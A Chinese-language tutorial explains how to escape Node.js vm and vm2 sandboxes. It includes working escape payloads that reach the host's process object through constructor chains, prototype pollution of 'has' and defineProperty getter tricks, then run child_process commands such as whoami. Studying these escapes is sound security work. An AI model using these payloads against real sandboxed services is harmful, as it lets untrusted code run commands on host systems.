0%

VM沙盒逃逸

VM沙盒逃逸

什么是沙箱

就只针对于node.js而言,沙箱和docker容器其实是差不多的,都是将程序与程序之间,程序与主机之间互相分隔开,但是沙箱是为了隔离有害程序的,避免影响到主机环境。为什么node.js语言要引入沙箱,这就要说说js语言中的作用域(也叫上下文)。

1
2
3
4
5
6
7
8
9
10
11
在JavaScript中,上下文(context)是指代码执行时的环境。每段JavaScript代码都运行在一个特定的上下文中,其中包含了当前代码的变量、函数、对象等信息。

JavaScript中存在两种类型的上下文:全局上下文和函数上下文。

全局上下文是指在代码最外层定义的变量和函数,它们可以在整个JavaScript程序中被访问。全局上下文在页面加载时就被创建,并且在整个页面的生命周期中都存在。

函数上下文是指在函数执行时创建的上下文。每当函数被调用时,就会创建一个新的函数上下文,这个上下文包含了函数的参数、内部变量和函数等信息。函数执行完毕后,该函数上下文就会被销毁。

在JavaScript中,上下文是按照执行顺序进行嵌套的。当代码执行到一个函数内部时,就会创建一个新的函数上下文,并将其压入上下文栈中。当函数执行完毕后,该函数上下文就会被弹出栈,JavaScript引擎会回到上一个上下文中继续执行代码。

上下文在JavaScript中非常重要,它决定了当前代码可以访问哪些变量和函数。理解JavaScript上下文的工作原理对于编写高效、可靠的JavaScript代码非常重要。

我们来看一个例子

1
2
3
4
5
6
const a = require("./a")

console.log(a.age)
//a.js:var age = 100;------->输出undefined
//-------------------------//
//a.js:var age = 100;exports.age = age;-------->输出100

若没有exports将需要的属性暴露出来,我们是访问不到另一个包内的属性的。包与包之间是互不相通的,也就是说每一个包都有自己的作用域。我们知道JavaScript的全局变量是window。其中所有的属性都是挂载到这个window下的,当然,node也有全局变量,是global。全局变量能在包间访问,换句话说,所有的包都挂载在全局变量下。node执行rce需要引入process对象进而导入child_process模块来执行命令。然而,process是挂载到global上的。为了防止恶意代码影响主机环境,所以就引入沙箱,开辟一个新的作用域来运行不信任的代码。相较于其他作用域,它阻止我们从内部直接访问global全局变量。此后的逃逸也是在这个点做文章。

VM模块的作用

引入vm模块就是为了创建一个沙箱运行环境。先看一段代码:

1
2
3
4
5
6
7
8
9
10
11
const util = require('util');
const vm = require('vm');
global.age = 3;
const sandbox = { age: 1 };
vm.createContext(sandbox);
vm.runInContext('age *= 2;', sandbox);
console.log(util.inspect(sandbox));//inspect方法会递归地遍历对象的属性和值,并按照一定的格式将它们转换为字符串。
console.log(util.inspect(age));
//输出
//{ age: 2 }
//3

vm.createContext函数,创建一个沙箱对象,在全局变量global外又创建一个作用域。此时sandbox对象就是此作用域的全局变量。vm.runInContext函数,第一个参数是沙箱内要执行的代码,第二个是沙箱对象。还有一个函数,vm.runInNewContext,是creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。根据代码输出,我们可以看出沙箱内是不能访问到global。

如何逃逸

上文也说明了node要执行命令的前提是访问到process对象。那么逃逸的主要思路就是怎么从外面的global全局变量中拿到process。vm模块是非常不严谨的,基于node原型链继承的特性,我们很容易就能拿到外部全局变量。看一段简单的逃逸代码:

1
2
3
4
"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);

img

很明显是逃逸出去了。如何做到的?这里的this是指向传递到runInNewContext函数的一个对象,他是不属于沙箱内部环境的,访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。拿到process对象就可以执行命令了。

再利用这个代码执行命令

1
2
3
4
const vm = require("vm");
const s = require("process")
const a = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(a.mainModule.require('child_process').execSync('whoami').toString());

img

console.log会执行node代码,从而调用构造器函数返回process对象导致rce。vm模块的隔离作用可以说非常的差了。所以开发者在此基础上加以完善,推出了vm2模块。那么vm2模块能否逃逸。

VM2沙盒逃逸

vm2基于vm开发,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。

vm2 特性:

  • 运行不受信任的JS脚本
  • 沙箱的终端输出信息完全可控
  • 沙箱内可以受限地加载modules
  • 可以安全地向沙箱间传递callback
  • 死循环攻击免疫 while (true)

vm2相比vm做了很大的改进,其中之一就是利用了es6新增的 proxy 特性,从而拦截对诸如 constructor 和 proto 这些属性的访问

首先需要补充一点es6 proxy的知识 https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy

实例1

1
2
3
4
5
6
7
8
9
10
11
12
13
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

先看一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var handler = {
get () {
console.log("get");
}
};


var target = {};

var proxy = new Proxy(target, handler);

Object.prototype.has = function(){
console.log("has");
}

proxy.a; //触发get
"" in proxy; //触发has,这个has是在原型链上定义的

在对象 target 上定义了 get 操作,会拦截对象属性的读取,所以当访问 proxy.a 时,会打印出 get

但是当执行 "" in proxy 时,也会被 has方法拦截,此时,我们虽然没有直接在 target 对象上定义 has 拦截操作,即代理的方法是可以被继承的。

回到vm2逃逸的代码,vm2中实际运行的代码如下:

1
2
3
4
5
6
7
8
9
10
"use strict";

var process;

Object.prototype.has = function (t, k) {
process = t.constructor("return process")();
};

"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()

Buffer.from 是一个代理对象,vm2的作者一开始并没有给vm2内部的Object 加上 has方法,所以我们可以自己给 Object 对象的原型上添加 has 方法,这时候运行

1
"" in Buffer.from;

就会去执行我们定义好的has方法,由于 proxy 的机制,参数 tfunction Buffer.from ,这个function是在外部的,其上下文是 nodejs 的global下,所以访问其 constructor 属性就获取到了外部的 Function,从而拿到外部的 process

官方给的修复方法:给Buffer.form添加has方法,这样has方法就直接会调用自己的has方法,而不是去调用原型的has方法

实例2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
Object.defineProperty(Buffer.from(""), "", {get set(){
Object.defineProperty(Object.prototype,"get",{get(){
throw x=>x.constructor("return process")();
}});
return ()=>{};
}});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

同样地,需要补充一点js的知识:

js的对象中,存在三种不同的属性:数据属性,访问器属性和内部属性。我们只看数据属性和访问器属性

数据属性和访问器属性都存在 [[Enumerable]][[Configurable]] 特性

不同点:以下特性属于数据属性:

  • [[Value]]:该属性的属性值,默认为undefined
  • [[Writable]]:是一个布尔值,表示属性值(value)是否可改变(即是否可写),默认为true

以下特性属于访问器属性

  • [[Get]]:是一个函数,表示该属性的取值函数(getter),默认为undefined
  • [[Set]]:是一个函数,表示该属性的存值函数(setter),默认为undefined
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var obj = {
prop: let obj = {
prop:123,
Writable: true
}

let jbo = {
get prop(){
return "get";
},
set prop(val){
console.log("set"+val);
}
}

console.log(obj.prop); //123
console.log(jbo.prop); //get

我们也可以通过 Object.defineProperty 来设置对象的访问器属性

1
2
3
4
5
6
7
let obj = {};
Object.defineProperty(obj, "prop", {
get(){
return "get";
}
})
console.log(obj.prop);

我们还可以这样写

1
2
3
4
5
6
7
8
let obj = {};
Object.defineProperty(obj, "prop", {
get get(){
console.log("get1"); //get1
return ()=>{return "get2"};
}
})
console.log(obj.prop); //get2

在这种情况下,会先执行 get() 函数,打印 get1,返回一个函数,作为 prop 属性的 getter,之后访问 obj.prop 时,就会打印 get2

1
2
3
4
get(){
console.log("get1");
return ()=>{return "get2"};
}

同理:

1
2
3
4
5
6
7
8
let obj = {};
Object.defineProperty(obj, "prop", {
get set(){
console.log("set1");
return (val)=>{console.log("set2")};
}
})
obj.prop = 1

此时会先执行一次 set() 函数打印出 set1,同时设置 prop 属性的 setter 为 (val)=>{console.log("set2")} 之后执行 obj.prop = 1 时,就会打印 set2;

那么回过头来看vm2逃逸的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var process;
try {
let a = Buffer.from("")
Object.defineProperty(a, "", {
get set() {
Object.defineProperty(Object.prototype, "get", {
get: function get() {
throw function (x) {
return x.constructor("return process")();
};
}
});
return ()=>{};
}

});
} catch (e) {
process = e(() => {});
}

执行的过程如下:

img

参考前文 vm2 实现原理分析,此时得到的a是一个代理对象,当我们在a上定义新属性的时候,被代理的 defineProperty 拦截

代码分析参考:https://www.cnblogs.com/zpchcbd/p/16899212.html